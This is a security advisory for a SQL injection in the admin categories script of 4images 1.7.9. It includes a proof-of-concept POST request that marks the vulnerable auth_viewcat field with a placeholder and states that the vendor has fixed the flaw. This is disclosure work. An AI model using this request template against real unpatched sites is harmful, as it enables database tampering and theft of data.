Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26185
HistoryApr 21, 2011 - 12:00 a.m.

HTB22950: SQL injection in 4images

2011-04-2100:00:00
vulners.com
23

Vulnerability ID: HTB22950
Reference: http://www.htbridge.ch/advisory/sql_injection_in_4images.html
Product: 4images
Vendor: http://www.4homepages.de/ ( http://www.4homepages.de/ )
Vulnerable Version: 1.7.9
Vendor Notification: 07 April 2011
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/categories.php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:

POST /admin/categories.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

__csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_description=1&cat_parent_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_viewimage=0&auth_download=2&auth_upload=2&auth_directupload=9&auth_vote=0&auth_sendpostcard=0&auth_readcomment=0&auth_postcomment=2

Solution: Upgrade to the most recent version